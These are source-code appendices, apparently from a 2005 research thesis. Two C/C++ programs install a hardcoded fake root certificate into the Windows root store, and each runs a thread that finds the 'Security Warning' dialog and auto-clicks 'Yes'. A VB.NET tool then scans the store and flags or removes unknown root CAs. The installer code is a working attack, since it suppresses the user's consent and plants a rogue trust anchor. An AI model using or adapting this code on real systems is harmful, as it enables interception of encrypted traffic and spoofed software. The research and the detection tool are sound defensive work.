// Author: Adil M. Alsaid
// Date: 25-11-2005
//
//******************************************************************************
#include <windows.h> 10
DWORD WINAPI ThreadFunc( LPVOID lpParam )
{
HWND HWndSecDlg=0, // Handle of the Secruity Warning Message Box
YesBtnHWnd=0; // Handle of the Yes Button
// Find the window handle of the security warning message box!
while(!(HWndSecDlg=FindWindow("#32770", // Window class name
"Security Warning" // Window title
))); 20
// Find the window handle of the yes button and send a message
// to signal user acceptance!
if((YesBtnHWnd=::FindWindowEx(HWndSecDlg, // parent window
NULL, // first child window
"Button", // window class name
"&Yes" // window caption
)))
PostMessage(YesBtnHWnd, // Widnow handle
WM CHAR, // Window message 30
’y’, // wParam
1); // lParam
return 0;
}
int stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
LPSTR lpCmdLine,int nCmdShow)
{
// Fake Root Certificate to install 40
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BYTE Cert[ ]={
0x30, 0x82, 0x02, 0x66, 0x30, 0x82, 0x02, 0x10, 0xA0, 0x03,
0x02, 0x01, 0x02, 0x02, 0x10, 0xF3, 0xFA, 0x19, 0x85, 0xAA,
0x47, 0x76, 0x8F, 0x48, 0x68, 0x21, 0x7A, 0xC4, 0x62, 0x7E,
0x75, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7,
0x0D, 0x01, 0x01, 0x04, 0x05, 0x00, 0x30, 0x64, 0x31, 0x20,
0x30, 0x1E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D,
0x01, 0x09, 0x01, 0x16, 0x11, 0x69, 0x6E, 0x66, 0x6F, 0x40,
0x6D, 0x79, 0x72, 0x6F, 0x6F, 0x74, 0x63, 0x61, 0x2E, 0x63,
0x6F, 0x6D, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 50
0x0A, 0x13, 0x0A, 0x4D, 0x79, 0x20, 0x52, 0x6F, 0x6F, 0x74,
0x20, 0x43, 0x41, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55,
0x04, 0x0B, 0x13, 0x0D, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x13, 0x30,
0x11, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x0A, 0x4D, 0x79,
0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41, 0x30, 0x1E,
0x17, 0x0D, 0x30, 0x34, 0x30, 0x32, 0x30, 0x33, 0x30, 0x31,
0x30, 0x33, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x33, 0x39, 0x31,
0x32, 0x33, 0x31, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A,
0x30, 0x64, 0x31, 0x20, 0x30, 0x1E, 0x06, 0x09, 0x2A, 0x86, 60
0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x01, 0x16, 0x11, 0x69,
0x6E, 0x66, 0x6F, 0x40, 0x6D, 0x79, 0x72, 0x6F, 0x6F, 0x74,
0x63, 0x61, 0x2E, 0x63, 0x6F, 0x6D, 0x31, 0x13, 0x30, 0x11,
0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0A, 0x4D, 0x79, 0x20,
0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41, 0x31, 0x16, 0x30,
0x14, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x0D, 0x43, 0x65,
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F,
0x6E, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x0A, 0x4D, 0x79, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20,
0x43, 0x41, 0x30, 0x5C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 70
0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03,
0x4B, 0x00, 0x30, 0x48, 0x02, 0x41, 0x00, 0xC8, 0x39, 0xA5,
0xE5, 0x65, 0x7A, 0xD3, 0x92, 0xE0, 0x34, 0x33, 0xA0, 0xF3,
0x05, 0x53, 0x52, 0xDA, 0x02, 0x53, 0x4C, 0xC6, 0x99, 0xA2,
0xA1, 0x04, 0x44, 0x32, 0x33, 0xCF, 0x27, 0xC8, 0xCC, 0xFC,
0x2C, 0x57, 0xD0, 0xF2, 0x12, 0x38, 0x21, 0x62, 0x1F, 0x35,
0xA0, 0x6C, 0xC0, 0x56, 0xE2, 0xB0, 0x56, 0xA3, 0x70, 0x09,
0xF3, 0xFD, 0x89, 0x8F, 0xBD, 0x50, 0x34, 0xAC, 0x8D, 0xA3,
0x09, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0x9D, 0x30,
0x81, 0x9A, 0x30, 0x81, 0x97, 0x06, 0x03, 0x55, 0x1D, 0x01, 80
0x04, 0x81, 0x8F, 0x30, 0x81, 0x8C, 0x80, 0x10, 0x0E, 0xC2,
0x7F, 0x9E, 0xC3, 0x28, 0xE6, 0xBB, 0xE4, 0xE1, 0xFA, 0x47,
0xB7, 0x0B, 0xCC, 0xCD, 0xA1, 0x66, 0x30, 0x64, 0x31, 0x20,
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0x30, 0x1E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D,
0x01, 0x09, 0x01, 0x16, 0x11, 0x69, 0x6E, 0x66, 0x6F, 0x40,
0x6D, 0x79, 0x72, 0x6F, 0x6F, 0x74, 0x63, 0x61, 0x2E, 0x63,
0x6F, 0x6D, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04,
0x0A, 0x13, 0x0A, 0x4D, 0x79, 0x20, 0x52, 0x6F, 0x6F, 0x74,
0x20, 0x43, 0x41, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55,
0x04, 0x0B, 0x13, 0x0D, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 90
0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x13, 0x30,
0x11, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x0A, 0x4D, 0x79,
0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41, 0x82, 0x10,
0xF3, 0xFA, 0x19, 0x85, 0xAA, 0x47, 0x76, 0x8F, 0x48, 0x68,
0x21, 0x7A, 0xC4, 0x62, 0x7E, 0x75, 0x30, 0x0D, 0x06, 0x09,
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x04, 0x05,
0x00, 0x03, 0x41, 0x00, 0x1B, 0x57, 0x4F, 0xC3, 0x45, 0x63,
0x67, 0xD0, 0x0C, 0x3C, 0x7D, 0xED, 0x39, 0xD6, 0x47, 0x75,
0xB1, 0xAB, 0xE2, 0x38, 0xEE, 0x40, 0x34, 0xE6, 0xF2, 0xA1,
0xD4, 0x47, 0x49, 0xBE, 0x9B, 0x1A, 0x21, 0x9A, 0x4F, 0x7A, 100
0x04, 0x57, 0x87, 0x10, 0x09, 0x97, 0xBF, 0x1B, 0x56, 0xE9,
0x17, 0x03, 0x9F, 0x5F, 0x3B, 0x4D, 0xFF, 0xDC, 0x35, 0x6E,
0xB4, 0xC5, 0xD7, 0x7F, 0xF7, 0xF9, 0x45, 0x76
} ;
DWORD dwThreadId;
HANDLE hThread;
// Create the Monitoring Thread. . .
hThread = CreateThread(NULL, // Secuirty Attributes 110
0, // Stack Size
ThreadFunc, // Thread function
NULL, // Thread parameters
0, // Creation flags
&dwThreadId); // ThreadId
// Check the return value for success.
if (hThread != NULL) {
HCERTSTORE RootStore = 0; 120
// Open the Root Certificates Store
if((RootStore = CertOpenSystemStore(0, // use default CSP
"Root"))) // system store name
{
// Try to add the encoded certificates to the store!
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// At this moement. . .The monitoring thread is searching for the
// Security Warning Message Box. . .
CertAddEncodedCertificateToStore(
RootStore, // Store Handle 130
X509 ASN ENCODING, // Encoding format
Cert, // The Certificate
sizeof(Cert), // Certificate size
CERT STORE ADD NEW, // Add if not exist
NULL); // No output
// Close the Root Certificates Store
CertCloseStore(RootStore,CERT CLOSE STORE FORCE FLAG);
}
// Terminate the Monitoring Thread 140
CloseHandle( hThread );
}
}
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//******************************************************************************
//
// A program to install a fake root certificate into the root certificate store
// using CryptoAPI with COM supports (CAPICOM).
//
// Author: Adil M. Alsaid
// Date: 25-09-2005
//
//******************************************************************************
10
#include <tchar.h>
#include <atlbase.h>
#include <windows.h>
#pragma warning (disable : 4192)
#import "capicom.dll"
//
// Use CAPICOM namespace. 20
//
using namespace CAPICOM;
DWORD WINAPI ThreadFunc( LPVOID lpParam )
{
HWND HWndSecDlg=0, // Handle of the Secruity Warning Message Box
YesBtnHWnd=0; // Handle of the Yes Button
// Find the window handle of the security warning message box! 30
while(!(HWndSecDlg=FindWindow("#32770", // Window class name
"Security Warning" // Window title
)));
// Find the window handle of the yes button and send a message
// to signal user acceptance!
if((YesBtnHWnd=::FindWindowEx(HWndSecDlg, // parent window
NULL, // first child window
"Button", // window class name
"&Yes" // window caption 40
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)))
PostMessage(YesBtnHWnd, // Widnow handle
WM CHAR, // Window message
’y’, // wParam
1); // lParam
return 0;
}
int stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, 50
LPSTR lpCmdLine,int nCmdShow)
//int WinMain (int argc, TCHAR * argv[ ])
{
// Fake Root Certificate to install
BYTE Cert[ ]={
0x30, 0x82, 0x02, 0x66, 0x30, 0x82, 0x02, 0x10, 0xA0, 0x03,
0x02, 0x01, 0x02, 0x02, 0x10, 0xF3, 0xFA, 0x19, 0x85, 0xAA,
0x47, 0x76, 0x8F, 0x48, 0x68, 0x21, 0x7A, 0xC4, 0x62, 0x7E,
0x75, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 60
0x0D, 0x01, 0x01, 0x04, 0x05, 0x00, 0x30, 0x64, 0x31, 0x20,
0x30, 0x1E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D,
0x01, 0x09, 0x01, 0x16, 0x11, 0x69, 0x6E, 0x66, 0x6F, 0x40,
0x6D, 0x79, 0x72, 0x6F, 0x6F, 0x74, 0x63, 0x61, 0x2E, 0x63,
0x6F, 0x6D, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04,
0x0A, 0x13, 0x0A, 0x4D, 0x79, 0x20, 0x52, 0x6F, 0x6F, 0x74,
0x20, 0x43, 0x41, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55,
0x04, 0x0B, 0x13, 0x0D, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x13, 0x30,
0x11, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x0A, 0x4D, 0x79, 70
0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41, 0x30, 0x1E,
0x17, 0x0D, 0x30, 0x34, 0x30, 0x32, 0x30, 0x33, 0x30, 0x31,
0x30, 0x33, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x33, 0x39, 0x31,
0x32, 0x33, 0x31, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A,
0x30, 0x64, 0x31, 0x20, 0x30, 0x1E, 0x06, 0x09, 0x2A, 0x86,
0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x01, 0x16, 0x11, 0x69,
0x6E, 0x66, 0x6F, 0x40, 0x6D, 0x79, 0x72, 0x6F, 0x6F, 0x74,
0x63, 0x61, 0x2E, 0x63, 0x6F, 0x6D, 0x31, 0x13, 0x30, 0x11,
0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0A, 0x4D, 0x79, 0x20,
0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41, 0x31, 0x16, 0x30, 80
0x14, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x0D, 0x43, 0x65,
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F,
0x6E, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x03,
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0x13, 0x0A, 0x4D, 0x79, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20,
0x43, 0x41, 0x30, 0x5C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86,
0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03,
0x4B, 0x00, 0x30, 0x48, 0x02, 0x41, 0x00, 0xC8, 0x39, 0xA5,
0xE5, 0x65, 0x7A, 0xD3, 0x92, 0xE0, 0x34, 0x33, 0xA0, 0xF3,
0x05, 0x53, 0x52, 0xDA, 0x02, 0x53, 0x4C, 0xC6, 0x99, 0xA2,
0xA1, 0x04, 0x44, 0x32, 0x33, 0xCF, 0x27, 0xC8, 0xCC, 0xFC, 90
0x2C, 0x57, 0xD0, 0xF2, 0x12, 0x38, 0x21, 0x62, 0x1F, 0x35,
0xA0, 0x6C, 0xC0, 0x56, 0xE2, 0xB0, 0x56, 0xA3, 0x70, 0x09,
0xF3, 0xFD, 0x89, 0x8F, 0xBD, 0x50, 0x34, 0xAC, 0x8D, 0xA3,
0x09, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0x9D, 0x30,
0x81, 0x9A, 0x30, 0x81, 0x97, 0x06, 0x03, 0x55, 0x1D, 0x01,
0x04, 0x81, 0x8F, 0x30, 0x81, 0x8C, 0x80, 0x10, 0x0E, 0xC2,
0x7F, 0x9E, 0xC3, 0x28, 0xE6, 0xBB, 0xE4, 0xE1, 0xFA, 0x47,
0xB7, 0x0B, 0xCC, 0xCD, 0xA1, 0x66, 0x30, 0x64, 0x31, 0x20,
0x30, 0x1E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D,
0x01, 0x09, 0x01, 0x16, 0x11, 0x69, 0x6E, 0x66, 0x6F, 0x40, 100
0x6D, 0x79, 0x72, 0x6F, 0x6F, 0x74, 0x63, 0x61, 0x2E, 0x63,
0x6F, 0x6D, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04,
0x0A, 0x13, 0x0A, 0x4D, 0x79, 0x20, 0x52, 0x6F, 0x6F, 0x74,
0x20, 0x43, 0x41, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55,
0x04, 0x0B, 0x13, 0x0D, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x13, 0x30,
0x11, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x0A, 0x4D, 0x79,
0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41, 0x82, 0x10,
0xF3, 0xFA, 0x19, 0x85, 0xAA, 0x47, 0x76, 0x8F, 0x48, 0x68,
0x21, 0x7A, 0xC4, 0x62, 0x7E, 0x75, 0x30, 0x0D, 0x06, 0x09, 110
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x04, 0x05,
0x00, 0x03, 0x41, 0x00, 0x1B, 0x57, 0x4F, 0xC3, 0x45, 0x63,
0x67, 0xD0, 0x0C, 0x3C, 0x7D, 0xED, 0x39, 0xD6, 0x47, 0x75,
0xB1, 0xAB, 0xE2, 0x38, 0xEE, 0x40, 0x34, 0xE6, 0xF2, 0xA1,
0xD4, 0x47, 0x49, 0xBE, 0x9B, 0x1A, 0x21, 0x9A, 0x4F, 0x7A,
0x04, 0x57, 0x87, 0x10, 0x09, 0x97, 0xBF, 0x1B, 0x56, 0xE9,
0x17, 0x03, 0x9F, 0x5F, 0x3B, 0x4D, 0xFF, 0xDC, 0x35, 0x6E,
0xB4, 0xC5, 0xD7, 0x7F, 0xF7, 0xF9, 0x45, 0x76
};
120
HRESULT hr = S OK;
CoInitialize(0);
try
{
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bstr t bstrName = T("Root");
IStorePtr pIStore( uuidof(Store));
if (FAILED(hr = pIStore−>Open(CAPICOM CURRENT USER STORE, 130
bstrName,
CAPICOM STORE OPEN READ WRITE)))
{
ATLTRACE( T("Error [%#x]: pIStore->Open() failed at line %d.\n"),
hr, LINE );
throw hr;
}
CAPICOM::ICertificate2Ptr pICert2 = NULL;
140
pICert2.CreateInstance("CAPICOM.Certificate");
if(hr=pICert2−>Import(BSTR(Cert))!=0)
exit(1);
else {
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
// Create the Monitoring Thread. . . 150
hThread = CreateThread(NULL, // Secuirty Attributes
0, // Stack Size
ThreadFunc, // Thread function
NULL, // Thread parameters
0, // Creation flags
&dwThreadId); // ThreadId
// Check the return value for success.
160
if (hThread != NULL)
hr=pIStore−>Add(pICert2);
CloseHandle( hThread );
}
}
catch ( com error e)
{
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hr = e.Error(); 170
ATLTRACE( T("Error [%#x]: %s.\n"), hr, e.ErrorMessage());
}
catch (HRESULT hr)
{
ATLTRACE( T("Error [%#x]: CAPICOM error.\n"), hr);
}
catch(. . .)
{ 180
hr = CAPICOM E UNKNOWN;
ATLTRACE( T("Unknown error.\n"));
}
CoUninitialize();
return (int) hr;
}
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Appendix B
The Certificate Scanning Tool Source
Code
This appendix provides the source code of The Certificate Scanning Tool
described in chapter 6.
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’ --------------------------------------------------------
’
’ File Details : MainDlg.vb
’ Description : Main tool interface
’ Author : Adil Alsaid
’ Date : 20−12−2005
’
’ −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Imports System.IO
10
Public Class MainDlg
Inherits System.Windows.Forms.Form
Dim RootCA As New CAPICOM.Certificates
Dim ValidCAs As New ArrayList
Dim store As New CAPICOM.Store
#Region " Windows Form Designer generated code "
Public Sub New()
MyBase.New() 20
’This call is required by the Windows Form Designer.
InitializeComponent()
’Add any initialization after the InitializeComponent() call
End Sub
’Form overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) 30
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
’Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer 40
168
’NOTE: The following procedure is required by the Windows Form Designer
’It can be modified using the Windows Form Designer.
’Do not modify it using the code editor.
Friend WithEvents ImageList1 As System.Windows.Forms.ImageList
Friend WithEvents CertList As System.Windows.Forms.ListView
Friend WithEvents Label2 As System.Windows.Forms.Label
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents NumRootCAs As System.Windows.Forms.Label
Friend WithEvents FakeCAs As System.Windows.Forms.Label 50
Friend WithEvents BtnScan As System.Windows.Forms.Button
Friend WithEvents BtnClose As System.Windows.Forms.Button
Friend WithEvents BtnCreateCA As System.Windows.Forms.Button
Friend WithEvents BtnRemoveCA As System.Windows.Forms.Button
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
Me.components = New System.ComponentModel.Container
Dim resources As System.Resources.ResourceManager _
= New System.Resources.ResourceManager(GetType(MainDlg))
Me.ImageList1 = New System.Windows.Forms.ImageList(Me.components)
Me.CertList = New System.Windows.Forms.ListView 60
Me.BtnScan = New System.Windows.Forms.Button
Me.BtnClose = New System.Windows.Forms.Button
Me.BtnRemoveCA = New System.Windows.Forms.Button
Me.Label2 = New System.Windows.Forms.Label
Me.Label1 = New System.Windows.Forms.Label
Me.NumRootCAs = New System.Windows.Forms.Label
Me.FakeCAs = New System.Windows.Forms.Label
Me.BtnCreateCA = New System.Windows.Forms.Button
Me.SuspendLayout()
’ 70
’ImageList1
’
Me.ImageList1.ImageSize = New System.Drawing.Size(16, 16)
Me.ImageList1.ImageStream = CType(resources.GetObject
("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer)
Me.ImageList1.TransparentColor = System.Drawing.Color.Transparent
’
’CertList
’
Me.CertList.FullRowSelect = True 80
Me.CertList.LabelWrap = False
Me.CertList.Location = New System.Drawing.Point(24, 24)
Me.CertList.Name = "CertList"
Me.CertList.Size = New System.Drawing.Size(664, 312)
169
Me.CertList.TabIndex = 0
’
’BtnScan
’
Me.BtnScan.DialogResult = System.Windows.Forms.DialogResult.OK
Me.BtnScan.Location = New System.Drawing.Point(702, 14) 90
Me.BtnScan.Name = "BtnScan"
Me.BtnScan.Size = New System.Drawing.Size(100, 24)
Me.BtnScan.TabIndex = 1
Me.BtnScan.Text = "Scan"
’
’BtnClose
’
Me.BtnClose.DialogResult = System.Windows.Forms.DialogResult.Cancel
Me.BtnClose.Location = New System.Drawing.Point(704, 111)
Me.BtnClose.Name = "BtnClose" 100
Me.BtnClose.Size = New System.Drawing.Size(100, 24)
Me.BtnClose.TabIndex = 2
Me.BtnClose.Text = "Close"
’
’BtnRemoveCA
’
Me.BtnRemoveCA.DialogResult = System.Windows.Forms.DialogResult.OK
Me.BtnRemoveCA.Location = New System.Drawing.Point(702, 46)
Me.BtnRemoveCA.Name = "BtnRemoveCA"
Me.BtnRemoveCA.Size = New System.Drawing.Size(100, 24) 110
Me.BtnRemoveCA.TabIndex = 4
Me.BtnRemoveCA.Text = "Remove"
’
’Label2
’
Me.Label2.Location = New System.Drawing.Point(24, 344)
Me.Label2.Name = "Label2"
Me.Label2.Size = New System.Drawing.Size(104, 16)
Me.Label2.TabIndex = 5
Me.Label2.Text = "Number of root CAs " 120
’
’Label1
’
Me.Label1.Location = New System.Drawing.Point(24, 368)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(168, 16)
Me.Label1.TabIndex = 6
170
Me.Label1.Text = "Number of suspicious Root CAs"
’
’NumRootCAs 130
’
Me.NumRootCAs.Location = New System.Drawing.Point(128, 344)
Me.NumRootCAs.Name = "NumRootCAs"
Me.NumRootCAs.Size = New System.Drawing.Size(56, 16)
Me.NumRootCAs.TabIndex = 7
’
’FakeCAs
’
Me.FakeCAs.Location = New System.Drawing.Point(192, 368)
Me.FakeCAs.Name = "FakeCAs" 140
Me.FakeCAs.Size = New System.Drawing.Size(48, 16)
Me.FakeCAs.TabIndex = 8
Me.FakeCAs.Text = "Label4"
’
’BtnCreateCA
’
Me.BtnCreateCA.DialogResult = System.Windows.Forms.DialogResult.Cancel
Me.BtnCreateCA.Location = New System.Drawing.Point(703, 80)
Me.BtnCreateCA.Name = "BtnCreateCA"
Me.BtnCreateCA.Size = New System.Drawing.Size(100, 24) 150
Me.BtnCreateCA.TabIndex = 9
Me.BtnCreateCA.Text = "Create CA List"
’
’MainDlg
’
Me.AutoScale = False
Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
Me.ClientSize = New System.Drawing.Size(811, 392)
Me.Controls.Add(Me.BtnCreateCA)
Me.Controls.Add(Me.FakeCAs) 160
Me.Controls.Add(Me.NumRootCAs)
Me.Controls.Add(Me.Label1)
Me.Controls.Add(Me.Label2)
Me.Controls.Add(Me.BtnRemoveCA)
Me.Controls.Add(Me.BtnClose)
Me.Controls.Add(Me.BtnScan)
Me.Controls.Add(Me.CertList)
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.MaximizeBox = False 170
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Me.Name = "MainDlg"
Me.Text = "Certificates Scan "
Me.ResumeLayout(False)
End Sub
#End Region
Private Sub MainDlg Load(ByVal sender As System.Object, 180
ByVal e As System.EventArgs) Handles MyBase.Load
’ NOTE ***********************
’ You have to load both Root and CA stores.
’ Root store holds CA and CA holds less frequently used CA
’ *********************
’ Load Valid Root Certificates
LoadValidCA()
190
store.Open(CAPICOM.CAPICOM_STORE_LOCATION.CAPICOM_CURRENT_USER_STORE, _
CAPICOM.Constants.CAPICOM_ROOT_STORE, _
CAPICOM.CAPICOM_STORE_OPEN_MODE.CAPICOM_STORE_OPEN_READ_WRITE)
LoadCertificates()
End Sub
Private Sub LoadValidCA()
Dim IEValidCA As Integer
Dim Thumbprint As String
Dim bytes(39) As Char
200
Try
Dim CertFile As New FileStream("ie6_cert.bin", FileMode.Open, _
FileAccess.Read)
Dim Stream As New System.IO.BinaryReader(CertFile)
ValidCAs.Clear()
bytes = Stream.ReadChars(40)
210
While (bytes.Length = 40)
Thumbprint = ""
Dim i As Integer
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’For i = 0 To 39
Thumbprint = bytes
’Next
ValidCAs.Add(Thumbprint)
bytes = Stream.ReadChars(40)
End While
220
CertFile.Close()
Catch E As Exception
MsgBox(E.Message)
End Try
End Sub
Private Function IsValidRootCA(ByVal CertThumbprint As String) As Boolean
If (ValidCAs.Contains(CertThumbprint)) Then
Return True
End If
Return False 230
End Function
Private Sub LoadCertificates()
Dim CertIndex As System.Collections.IEnumerator
Dim MoreCert As Boolean
Dim Cert As CAPICOM.Certificate
Dim item As Integer
Dim iFakeCAs, iRootCAs As Integer
iFakeCAs = 0
iRootCAs = 0 240
RootCA = store.Certificates
CertList.Clear()
CertList.CheckBoxes = False
CertList.View = View.Details
CertList.Columns.Add("Issued to", 200, HorizontalAlignment.Left)
CertList.Columns.Add("Issued by", 200, HorizontalAlignment.Left)
CertList.Columns.Add("Thumbprint", 80, HorizontalAlignment.Left)
CertList.Columns.Add("Expiration Date", 80, HorizontalAlignment.Left) 250
CertList.Columns.Add("Status", 80, HorizontalAlignment.Left)
CertList.MultiSelect = False
CertList.FullRowSelect = True
CertList.SmallImageList = ImageList1
CertList.HideSelection = False
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item = 0
CertIndex = RootCA.GetEnumerator()
MoreCert = CertIndex.MoveNext() 260
While MoreCert
iRootCAs = iRootCAs + 1
Cert = CertIndex.Current()
Dim ImageIndex As Integer = 1
If (IsValidRootCA(Cert.Thumbprint)) Then
ImageIndex = 0
Else
iFakeCAs = iFakeCAs + 1
End If 270
Dim CertListItem As New ListViewItem _
(Cert.GetInfo(CAPICOM.CAPICOM_CERT_INFO_TYPE. _
CAPICOM_CERT_INFO_SUBJECT_SIMPLE_NAME), ImageIndex)
If (ImageIndex <> 0) Then
CertListItem.BackColor = System.Drawing.Color.Yellow
End If
CertListItem.SubItems.Add(Cert.GetInfo _
(CAPICOM.CAPICOM_CERT_INFO_TYPE.CAPICOM_CERT_INFO_ISSUER_SIMPLE_NAME)) 280
Dim Thumbprint As String
Thumbprint = Cert.Thumbprint
CertListItem.SubItems.Add(Thumbprint)
CertListItem.SubItems.Add(Format(Cert.ValidToDate, "Short Date"))
If (ImageIndex = 0) Then
CertListItem.SubItems.Add("OK")
Else
CertListItem.SubItems.Add("Suspicious")
End If 290
CertList.Items.Add(CertListItem)
MoreCert = CertIndex.MoveNext()
item = item + 1
End While
CertIndex.Reset()
FakeCAs.Text = iFakeCAs
NumRootCAs.Text = iRootCAs
End Sub
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Private Sub CertList_DoubleClick(ByVal sender As Object, _ 300
ByVal e As System.EventArgs) Handles CertList.DoubleClick
Dim CertListItem As ListViewItem
Dim CertIndex As System.Collections.IEnumerator
CertListItem = CertList.SelectedItems.Item(0)
CertIndex = RootCA.GetEnumerator()
Dim Found As Boolean = False
Dim Cert As CAPICOM.Certificate
310
While Not Found And CertIndex.MoveNext()
Cert = CertIndex.Current()
If (Cert.Thumbprint.CompareTo(CertListItem.SubItems(2).Text()) = 0) Then
Found = True
End If
End While
If (Found) Then
Me.SendToBack()
Cert.Display() 320
End If
End Sub
Private Sub BtnClose_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles BtnClose.Click
Close()
End Sub
Private Sub BtnRemove_Click(ByVal sender As System.Object, _ 330
ByVal e As System.EventArgs) Handles BtnRemoveCA.Click
Dim CertListItem As ListViewItem
Dim CertIndex As System.Collections.IEnumerator
If (CertList.SelectedItems.Count() > 0) Then
CertListItem = CertList.SelectedItems.Item(0)
CertIndex = RootCA.GetEnumerator()
Dim Found As Boolean = False
Dim Cert As CAPICOM.Certificate 340
While Not Found And CertIndex.MoveNext()
175
Cert = CertIndex.Current()
If (Cert.Thumbprint.CompareTo(CertListItem.SubItems(2).Text()) = 0) Then
Found = True
End If
End While
On Error Resume Next
If (Found) Then
If MsgBox("Are you sure to remove the selected certificate?", _ 350
MsgBoxStyle.YesNoCancel, "Warning!") = MsgBoxResult.Yes Then
store.Remove(Cert)
LoadCertificates()
End If
End If
End If
End Sub
Private Sub BtnCreateCA_Click(ByVal sender As System.Object, _ 360
ByVal e As System.EventArgs) Handles BtnCreateCA.Click
Dim CertIndex As System.Collections.IEnumerator
Dim MoreCert As Boolean
Dim Cert As CAPICOM.Certificate
Dim item As Integer
If MsgBox("Are you sure you want to make the currently installed root CAs " & _
"as valid root CAs?", MsgBoxStyle.YesNoCancel, "Warning!") _
= MsgBoxResult.Yes Then
370
Dim CertFile As New FileStream("ie6_cert.bin", FileMode.Create, _
FileAccess.Write)
Dim Stream As New System.IO.BinaryWriter(CertFile)
Dim bytes(39) As Char
RootCA = store.Certificates
CertIndex = RootCA.GetEnumerator()
380
MoreCert = CertIndex.MoveNext()
While MoreCert
Cert = CertIndex.Current()
Stream.Write(Cert.Thumbprint.ToCharArray)
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MoreCert = CertIndex.MoveNext()
End While
CertFile.Close()
LoadValidCA()
LoadCertificates() 390
End If
End Sub
Private Sub BtnScan_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles BtnScan.Click
LoadCertificates()
End Sub
End Class
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